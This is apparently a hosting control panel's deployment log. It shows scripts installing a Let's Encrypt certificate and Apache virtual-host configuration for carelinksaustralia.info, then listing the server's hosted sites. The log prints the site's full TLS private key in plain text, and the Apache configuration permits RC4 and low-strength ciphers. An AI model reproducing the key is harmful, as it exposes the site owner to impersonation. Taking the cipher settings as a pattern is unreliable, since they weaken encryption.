MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= f90b48a7c1061822ec2b4beef20285a3
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 8aba258068c8c60a7ade3952a285f57d
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2025-10-09 11:20:31: Establishing a connection
2025-10-09 11:20:31: Establishing a connection
2025-10-09 11:20:32: 

PUT: /tmp/pkp406122

#!/bin/bash
if [ -d "/var/www/carelinksaustralia_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-10-09 11:20:32: 

chmod 755 /tmp/pkp406122; /tmp/pkp406122; rm /tmp/pkp406122

2025-10-09 11:20:32: 


1


2025-10-09 11:20:33: Establishing a connection
2025-10-09 11:20:33: 

PUT: /tmp/pkp546903

#!/bin/bash
mkdir -p "/var/www/carelinksaustralia_www/.well-known/acme-challenge/"
cd "/var/www/carelinksaustralia_www/.well-known/acme-challenge/"
cat > 6PmRrICVzxdXdv3T_rS07H1qhuxbuFvkOVrbpOtNv0s <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
6PmRrICVzxdXdv3T_rS07H1qhuxbuFvkOVrbpOtNv0s.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 6PmRrICVzxdXdv3T_rS07H1qhuxbuFvkOVrbpOtNv0s


2025-10-09 11:20:33: 

chmod 755 /tmp/pkp546903; /tmp/pkp546903; rm /tmp/pkp546903

2025-10-09 11:20:33: 




2025-10-09 11:20:39: Establishing a connection
2025-10-09 11:20:39: 

PUT: /tmp/pkp915161

#!/bin/bash
mkdir -p "/var/www/carelinksaustralia_www/.well-known/acme-challenge/"
cd "/var/www/carelinksaustralia_www/.well-known/acme-challenge/"
rm 6PmRrICVzxdXdv3T_rS07H1qhuxbuFvkOVrbpOtNv0s


2025-10-09 11:20:39: 

chmod 755 /tmp/pkp915161; /tmp/pkp915161; rm /tmp/pkp915161

2025-10-09 11:20:39: 




2025-10-09 11:20:39: Establishing a connection
2025-10-09 11:20:39: 

PUT: /tmp/pkp113319

#!/bin/bash
temp_file=$(mktemp)
TARGET=01bea5c16e52f9c5f2fcf9fea9a569f2.crt

cat > $temp_file <<'endmsg'
5c:37:b9:8a:c5:19:76:b6:b5:f1:db:13:b9:52:3b:0b

-----BEGIN CERTIFICATE-----
MIIFJjCCBA6gAwIBAgISBatvyixd2HsMF7fNY8PrWN9xMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUxMDA5MTAyMjA4WhcNMjYwMTA3MTAyMjA3WjAiMSAwHgYDVQQD
ExdjYXJlbGlua3NhdXN0cmFsaWEuaW5mbzCCASIwDQYJKoZIhvcNAQEBBQADggEP
ADCCAQoCggEBAKbXhYJzfqD7Arw8BCRHAFP9InGWLLJASG2UpoHGeXgeUuyjTdcN
qN/WQ0eWAnUu+jbyQxR35COd/PEK/kTflDTBxyMX+gWGTuLLEyXbXfFRjXrJGmc8
MkEYMGS/oTq62olyjfpJTxwWyghsDnu/DJ6uMmjvTxLTKYnD35mP0NR0vusRcf95
3LF2e9aON2nJV5ZMlD6Fy1Ln/U8I6dZ3iYmKSpq0lQwrCtP7yR61VWJB/m9Ms3ZH
zRZntppvlV50XXWk+LdY7mmC3IuvtLo580VfUYN7hNXj92OjLbzT3UFa2UrljcO6
ADuKRWWjN8tYsO1sksCVHbUQ6HDbiFFX478CAwEAAaOCAkMwggI/MA4GA1UdDwEB
/wQEAwIFoDAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH/
BAIwADAdBgNVHQ4EFgQUVALc7kErp7MZdVeRj+JWnST3130wHwYDVR0jBBgwFoAU
ALUp8i2ObzHom0yteD763OkM0dIwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAC
hhdodHRwOi8vcjEyLmkubGVuY3Iub3JnLzA/BgNVHREEODA2ghdjYXJlbGlua3Nh
dXN0cmFsaWEuaW5mb4Ibd3d3LmNhcmVsaW5rc2F1c3RyYWxpYS5pbmZvMBMGA1Ud
IAQMMAowCAYGZ4EMAQIBMC8GA1UdHwQoMCYwJKAioCCGHmh0dHA6Ly9yMTIuYy5s
ZW5jci5vcmcvMTE0LmNybDCCAQIGCisGAQQB1nkCBAIEgfMEgfAA7gB1ABmG1Mco
qm/+ugNveCpNAZGqzi1yMQ+uzl1wQS0lTMfUAAABmciznqoAAAQDAEYwRAIgUBJ7
a2A5p6haCc6luLxbPhCQBuprABE/CJv5IuCdQsMCIEE6m51VkFWw52V3/j9hfoVx
oZ4QtG+qYKpsb6UOfPR7AHUAlpdkv1VYl633Q4doNwhCd+nwOtX2pPM2bkakPw/K
qcYAAAGZyLOe9gAABAMARjBEAiAiN14NcfVBMAh8N4k7cJCGMeL+HA7wGpdyEWO2
ovFrEAIgNnL7SlUT6gvk07QhOvdXPheWmzbaQ1PNRDw5qknOJb4wDQYJKoZIhvcN
AQELBQADggEBAMB44Kl+Ya0nJKab+t4xqhFcCosdQhdl9v7mxoaB0oikcK8JP3Ft
7+3xuX9ydettk9J2AWmACx6kfMKLXwrv45NQ+ifXZups55H5hlbz5KvvTbBt4ebv
E3dJGR+fc8SYn5hMKkrF943zeI+9WZZnSHBRLzHRPUrDDCkUZQpXeBpVPaNNbB3W
BT8rt4s1bXK44ZEtWnvs8zrxbMgbBiCz9c3td0eAHZac82F45t7UOBkrbPO0CxbC
YUV95zUdhd4lGhe6pKtQR2AbR4kBn/K449tBZbMM2Hh/+xYo4/LU33dJzfUXJb1L
cv54TIPS/eEWwrAgardnhJkiq2tWQvDmbSA=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQCm14WCc36g+wK8
PAQkRwBT/SJxliyyQEhtlKaBxnl4HlLso03XDajf1kNHlgJ1Lvo28kMUd+Qjnfzx
Cv5E35Q0wccjF/oFhk7iyxMl213xUY16yRpnPDJBGDBkv6E6utqJco36SU8cFsoI
bA57vwyerjJo708S0ymJw9+Zj9DUdL7rEXH/edyxdnvWjjdpyVeWTJQ+hctS5/1P
COnWd4mJikqatJUMKwrT+8ketVViQf5vTLN2R80WZ7aab5VedF11pPi3WO5pgtyL
r7S6OfNFX1GDe4TV4/djoy28091BWtlK5Y3DugA7ikVlozfLWLDtbJLAlR21EOhw
24hRV+O/AgMBAAECggEAR871IJtzAfhnSfsO0UpZ4sxNedPn8uRmB/v12l9BQqjS
ihUTWJ8Bcy22EWaIMkWA3gtRQcsEPywthNV1cNFF6ZsJiZo1OxF+fHBpEl8jRM0T
9qf9nDc1bfzqP0KXMz7e9k9+uh25Vd6dIBjZ9vrYhKd2/OEbCIAoHapXX7GdcQMI
fsaQ8xSpEUAdf3xO8QUe8v4LUGletEQwLxHIU+okSl9YVLvl1kUA5JkpDSwz6Uc6
Xu7ETt66Taf2usURPc9WvE7BNkPLsmz569ylBs3rhjYd8Vzv4YnNDi2/7R5SJ3OU
bULlj438CdKu8yVCEVmJta2+My7mACTV7YV2ouIO0QKBgQDUIFlIReTmLdJIdVyX
pGo/scl2zl7YFQ1n5nhnwQGs1Yn9zTjsvKwgkUeLZn3ShyLlcIQcgWTnvDg2Pp/C
bVtMzjA7DlIqbY4KAUpXOH/6jgW32aL31TMwxG77gfcHaXnBxk9HxOgnnaoSgKEe
xKlm5yEjygVKi2In7m16JUWpCQKBgQDJWXQNSOHzh3OaLzcjZyDQ1BEjiGoeaxai
RDdjvw4NPFKJxd3MLSnh/wQ876GR2pNe0pxOja99PaF6+qhaeKOeqB01ofAtJJ5k
C3BnA5ngbaPSB1Ye7XPq4TazPjo9lyKcY3UhXt9kEUkig62HIwXYGongM7tHJpI1
RBNsYm3AhwKBgQCW8t4V3Abi9UBqZ3mYP1uML8uZS4maYoDDqvGLg4DZqKslfGBB
tpEWK8upmyl2IsvmUYbxcfKIJRwrHa06Ae+yXBdeLvaxUnx9CiYIoyAO//l5ttmN
Wp2u2lnPh9Bt6dTG24OXIrvBVSStPfNpnbCelWKzwRK61SzoFXa6MMO9YQKBgCxB
qj2FSIzjt+gq+p6ge1kLU90QjeqztRzji500EF2eZbH8uNy5DJytFfxi24uYlI3i
ExM9F1aa5lSGpdyE6cnkv87bElSJ2Pq6fPFXnEn1L23pyOcxYCo/aGuLgPeqsaPY
RJWaKdXv6rhYYxrx+sXeR3HtTPu9oaNtnCtVkzQfAoGBAJup1l795LCHuQFWERpE
z5UTZWp+xL1bprxt/SiEGYCvJRltEhuQobnk3WOzSRb7j4nNZLxUZRRLBtX5iZGO
wplI5bwLEGpwLcnr8KQ6/IZ+6sxDCxhIXXkLRmYlIS7+B6blgG1J1oFAMxlWdAgI
hza7ZKqq08QSIJ1G7vDTb0YM
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----


endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2025-10-09 11:20:40: 

chmod 755 /tmp/pkp113319; /tmp/pkp113319; rm /tmp/pkp113319

2025-10-09 11:20:40: 


dir=/etc/ssl/certs


2025-10-09 11:20:40: 

PUT: /tmp/pkp857693

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf"

gzip -cn9 $temp_file
rm $temp_file

2025-10-09 11:20:40: 

chmod 755 /tmp/pkp857693; /tmp/pkp857693; rm /tmp/pkp857693

2025-10-09 11:20:40: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf 51

<VirtualHost *:80>
    ServerName	carelinksaustralia.info
    ServerAdmin	do_not_email@example.com
    ServerAlias www.carelinksaustralia.info
    DocumentRoot	/var/www/carelinksaustralia_www
    <Directory /var/www/carelinksaustralia_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/carelinksaustralia/www_access.log combined
    ErrorLog	/var/log/apache2/carelinksaustralia/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	carelinksaustralia.info
    ServerAdmin	do_not_email@example.com
    ServerAlias www.carelinksaustralia.info
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/01bea5c16e52f9c5f2fcf9fea9a569f2.crt
    DocumentRoot	/var/www/carelinksaustralia_www
    <Directory /var/www/carelinksaustralia_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/carelinksaustralia/www_secure_access.log combined
    ErrorLog	/var/log/apache2/carelinksaustralia/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2025-10-09 11:20:40: 

PUT: /tmp/pkp699281

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=carelinksaustralia_www_info.conf
TARGET=/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	carelinksaustralia.info
    ServerAdmin	do_not_email@example.com
    ServerAlias	www.carelinksaustralia.info
    DocumentRoot	/var/www/carelinksaustralia_www
    <Directory /var/www/carelinksaustralia_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/carelinksaustralia/www_access.log combined
    ErrorLog	/var/log/apache2/carelinksaustralia/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	carelinksaustralia.info
    ServerAdmin	do_not_email@example.com
    ServerAlias	www.carelinksaustralia.info
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/01bea5c16e52f9c5f2fcf9fea9a569f2.crt
    DocumentRoot	/var/www/carelinksaustralia_www
    <Directory /var/www/carelinksaustralia_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/carelinksaustralia/www_secure_access.log combined
    ErrorLog	/var/log/apache2/carelinksaustralia/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/carelinksaustralia_www_info.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf)= /etc/apache2//etc/apache2/sites-enabled/carelinksaustralia_www_info.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/carelinksaustralia_www_info.conf= 1'
fi


2025-10-09 11:20:40: 

chmod 755 /tmp/pkp699281; /tmp/pkp699281; rm /tmp/pkp699281

2025-10-09 11:20:40: 




2025-10-09 11:20:40: 

PUT: /tmp/pkp466453

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2025-10-09 11:20:40: 

chmod 755 /tmp/pkp466453; /tmp/pkp466453; rm /tmp/pkp466453

2025-10-09 11:20:40: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-10-09 11:20:40: Establishing a connection
2025-10-09 11:20:40: 

PUT: /tmp/pkp942357

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2025-10-09 11:20:40: 

chmod 755 /tmp/pkp942357; /tmp/pkp942357; rm /tmp/pkp942357

2025-10-09 11:20:40: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:2)
         port 80 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:2)
                 alias www.baptizo.info
         port 80 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:2)
                 alias www.bible-basics.info
         port 80 namevhost biblealive.us (/etc/apache2/sites-enabled/biblealive_www_us.conf:2)
         port 80 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:2)
                 alias www.biblebasicsonline.com
         port 80 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:2)
                 alias www.carelinks-uk.org
         port 80 namevhost carelinks.org.au (/etc/apache2/sites-enabled/carelinks_www_org-au.conf:2)
         port 80 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:2)
                 alias www.carelinks.org.uk
         port 80 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:2)
                 alias www.carelinksaustralia.info
         port 80 namevhost carelinksoutreach.info (/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf:2)
                 alias www.carelinksoutreach.info
         port 80 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:2)
         port 80 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:2)
                 alias www.christadelphianfraternal.info
         port 80 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:2)
                 alias www.croydonchurch.info
         port 80 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:2)
                 alias www.dalmenynaroomabushwalkers.info
         port 80 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:2)
         port 80 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:2)
                 alias www.freebible.info
         port 80 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:2)
         port 80 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:2)
         port 80 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:2)
                 alias www.maminas.info
         port 80 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:2)
                 alias www.osnowybiblii.info
         port 80 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:2)
         port 80 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:2)
                 alias www.r-b-c.org
         port 80 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:2)
                 alias www.realchrist.info
         port 80 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:2)
                 alias www.vards.info
*:443                  is a NameVirtualHost
         default server mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
         port 443 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
         port 443 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:23)
                 alias www.baptizo.info
         port 443 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:23)
                 alias www.bible-basics.info
         port 443 namevhost biblealive.us (/etc/apache2/sites-enabled/biblealive_www_us.conf:24)
         port 443 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:23)
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
                 alias www.biblebasicsonline.com
         port 443 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:23)
                 alias www.carelinks-uk.org
         port 443 namevhost carelinks.org.au (/etc/apache2/sites-enabled/carelinks_www_org-au.conf:19)
         port 443 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:23)
                 alias www.carelinks.org.uk
         port 443 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:20)
                 alias www.carelinksaustralia.info
         port 443 namevhost carelinksoutreach.info (/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf:23)
                 alias www.carelinksoutreach.info
         port 443 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:19)
         port 443 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:23)
                 alias www.christadelphianfraternal.info
         port 443 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:23)
                 alias www.croydonchurch.info
         port 443 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:23)
                 alias www.dalmenynaroomabushwalkers.info
         port 443 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:22)
         port 443 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:23)
                 alias www.freebible.info
         port 443 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:28)
         port 443 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:26)
         port 443 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:23)
                 alias www.maminas.info
         port 443 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:23)
                 alias www.osnowybiblii.info
         port 443 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:22)
         port 443 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:23)
                 alias www.r-b-c.org
         port 443 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:23)
                 alias www.realchrist.info
         port 443 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:23)
                 alias www.vards.info
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-10-09 11:20:40: 

PUT: /tmp/pkp514889

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-10-09 11:20:40: 

chmod 755 /tmp/pkp514889; /tmp/pkp514889; rm /tmp/pkp514889

2025-10-09 11:20:40: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf	1362

<VirtualHost *:80>
    ServerName	carelinksaustralia.info
    ServerAdmin	do_not_email@example.com
    ServerAlias	www.carelinksaustralia.info
    DocumentRoot	/var/www/carelinksaustralia_www
    <Directory /var/www/carelinksaustralia_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/carelinksaustralia/www_access.log combined
    ErrorLog	/var/log/apache2/carelinksaustralia/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	carelinksaustralia.info
    ServerAdmin	do_not_email@example.com
    ServerAlias	www.carelinksaustralia.info
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
